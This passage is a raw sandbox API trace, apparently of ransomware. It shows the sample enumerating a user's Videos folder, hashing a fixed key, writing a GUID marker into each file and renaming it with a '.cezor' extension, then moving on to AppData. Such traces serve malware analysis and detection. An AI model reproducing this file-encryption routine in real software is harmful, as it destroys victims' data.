ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2odT1K", cAlternateFileName="")) returned 1 [0061.279] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dcdf80, ftCreationTime.dwHighDateTime=0x1d4cda9, ftLastAccessTime.dwLowDateTime=0xc9680bb0, ftLastAccessTime.dwHighDateTime=0x1d4d29b, ftLastWriteTime.dwLowDateTime=0xc9680bb0, ftLastWriteTime.dwHighDateTime=0x1d4d29b, nFileSizeHigh=0x0, nFileSizeLow=0x153a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gx9Mb.swf", cAlternateFileName="")) returned 1 [0061.279] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\Gx9Mb.swf") returned=".swf" [0061.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\Gx9Mb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\gx9mb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.279] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=86944) returned 1 [0061.279] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.282] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1537a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.282] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.282] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x153a0, lpOverlapped=0x0) returned 1 [0061.283] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.283] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.283] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.283] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.284] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.284] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.284] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.284] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.284] GetLastError () returned 0x0 [0061.284] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.284] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.285] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x153a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.285] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.285] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.285] CloseHandle (hObject=0x5c4) returned 1 [0061.286] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\Gx9Mb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\gx9mb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\Gx9Mb.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\gx9mb.swf.cezor")) returned 1 [0061.287] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae28dc10, ftCreationTime.dwHighDateTime=0x1d4d3e2, ftLastAccessTime.dwLowDateTime=0x3e705590, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x3e705590, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I42cS5 VvN3aGuFi.mp4", cAlternateFileName="I42CS5~1.MP4")) returned 1 [0061.287] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\I42cS5 VvN3aGuFi.mp4") returned=".mp4" [0061.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\I42cS5 VvN3aGuFi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\i42cs5 vvn3agufi.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.288] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1695) returned 1 [0061.288] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.290] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x679, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.290] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.291] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x69f, lpOverlapped=0x0) returned 1 [0061.291] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.291] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.291] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.291] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.292] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.292] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.292] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.292] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.292] GetLastError () returned 0x0 [0061.292] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.292] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.292] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x69f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.292] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.292] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.292] CloseHandle (hObject=0x5c4) returned 1 [0061.293] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\I42cS5 VvN3aGuFi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\i42cs5 vvn3agufi.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\I42cS5 VvN3aGuFi.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\i42cs5 vvn3agufi.mp4.cezor")) returned 1 [0061.294] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57403860, ftCreationTime.dwHighDateTime=0x1d4c9e4, ftLastAccessTime.dwLowDateTime=0x8719ffc0, ftLastAccessTime.dwHighDateTime=0x1d4cb2a, ftLastWriteTime.dwLowDateTime=0x8719ffc0, ftLastWriteTime.dwHighDateTime=0x1d4cb2a, nFileSizeHigh=0x0, nFileSizeLow=0xa938, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE-asuVeDit5fMSdkB0.flv", cAlternateFileName="IE-ASU~1.FLV")) returned 1 [0061.294] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\IE-asuVeDit5fMSdkB0.flv") returned=".flv" [0061.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\IE-asuVeDit5fMSdkB0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\ie-asuvedit5fmsdkb0.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.294] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=43320) returned 1 [0061.294] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.297] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa912, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.297] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.297] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xa938, lpOverlapped=0x0) returned 1 [0061.298] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.298] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.298] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.298] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.298] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.299] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.299] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.299] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.299] GetLastError () returned 0x0 [0061.299] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.299] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.299] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa938, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.299] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.299] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.299] CloseHandle (hObject=0x5c4) returned 1 [0061.300] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\IE-asuVeDit5fMSdkB0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\ie-asuvedit5fmsdkb0.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\IE-asuVeDit5fMSdkB0.flv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\ie-asuvedit5fmsdkb0.flv.cezor")) returned 1 [0061.301] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298845b0, ftCreationTime.dwHighDateTime=0x1d4c945, ftLastAccessTime.dwLowDateTime=0xf73f16d0, ftLastAccessTime.dwHighDateTime=0x1d4c64f, ftLastWriteTime.dwLowDateTime=0xf73f16d0, ftLastWriteTime.dwHighDateTime=0x1d4c64f, nFileSizeHigh=0x0, nFileSizeLow=0x13e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v2tEOgOZeF-wSXfUeb.mp4", cAlternateFileName="V2TEOG~1.MP4")) returned 1 [0061.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\v2tEOgOZeF-wSXfUeb.mp4") returned=".mp4" [0061.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\v2tEOgOZeF-wSXfUeb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\v2teogozef-wsxfueb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.301] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=81564) returned 1 [0061.302] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.304] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13e76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.304] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.305] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x13e9c, lpOverlapped=0x0) returned 1 [0061.305] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.305] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.305] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.305] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.306] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.306] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.306] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.306] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.306] GetLastError () returned 0x0 [0061.306] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.306] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.307] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13e9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.307] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.307] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.307] CloseHandle (hObject=0x5c4) returned 1 [0061.308] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\v2tEOgOZeF-wSXfUeb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\v2teogozef-wsxfueb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\v2tEOgOZeF-wSXfUeb.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\v2teogozef-wsxfueb.mp4.cezor")) returned 1 [0061.309] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb425e0, ftCreationTime.dwHighDateTime=0x1d4d22b, ftLastAccessTime.dwLowDateTime=0x12b56f80, ftLastAccessTime.dwHighDateTime=0x1d4d411, ftLastWriteTime.dwLowDateTime=0x12b56f80, ftLastWriteTime.dwHighDateTime=0x1d4d411, nFileSizeHigh=0x0, nFileSizeLow=0x14654, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZNFPhs7VtfT6Wy.mp4", cAlternateFileName="ZNFPHS~1.MP4")) returned 1 [0061.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\ZNFPhs7VtfT6Wy.mp4") returned=".mp4" [0061.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\ZNFPhs7VtfT6Wy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\znfphs7vtft6wy.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.309] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=83540) returned 1 [0061.309] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.312] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1462e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.312] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.313] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x14654, lpOverlapped=0x0) returned 1 [0061.313] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.313] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.313] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.313] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.314] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.314] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.314] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.314] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.314] GetLastError () returned 0x0 [0061.314] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.314] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.315] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.315] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.315] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.315] CloseHandle (hObject=0x5c4) returned 1 [0061.316] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\ZNFPhs7VtfT6Wy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\znfphs7vtft6wy.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\ZNFPhs7VtfT6Wy.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\znfphs7vtft6wy.mp4.cezor")) returned 1 [0061.317] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb425e0, ftCreationTime.dwHighDateTime=0x1d4d22b, ftLastAccessTime.dwLowDateTime=0x12b56f80, ftLastAccessTime.dwHighDateTime=0x1d4d411, ftLastWriteTime.dwLowDateTime=0x12b56f80, ftLastWriteTime.dwHighDateTime=0x1d4d411, nFileSizeHigh=0x0, nFileSizeLow=0x14654, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZNFPhs7VtfT6Wy.mp4", cAlternateFileName="ZNFPHS~1.MP4")) returned 0 [0061.317] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.317] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.317] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.317] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.317] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0061.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.318] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.318] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.318] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.318] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.318] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.318] PathFindFileNameW (pszPath="") returned="" [0061.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.319] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.319] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 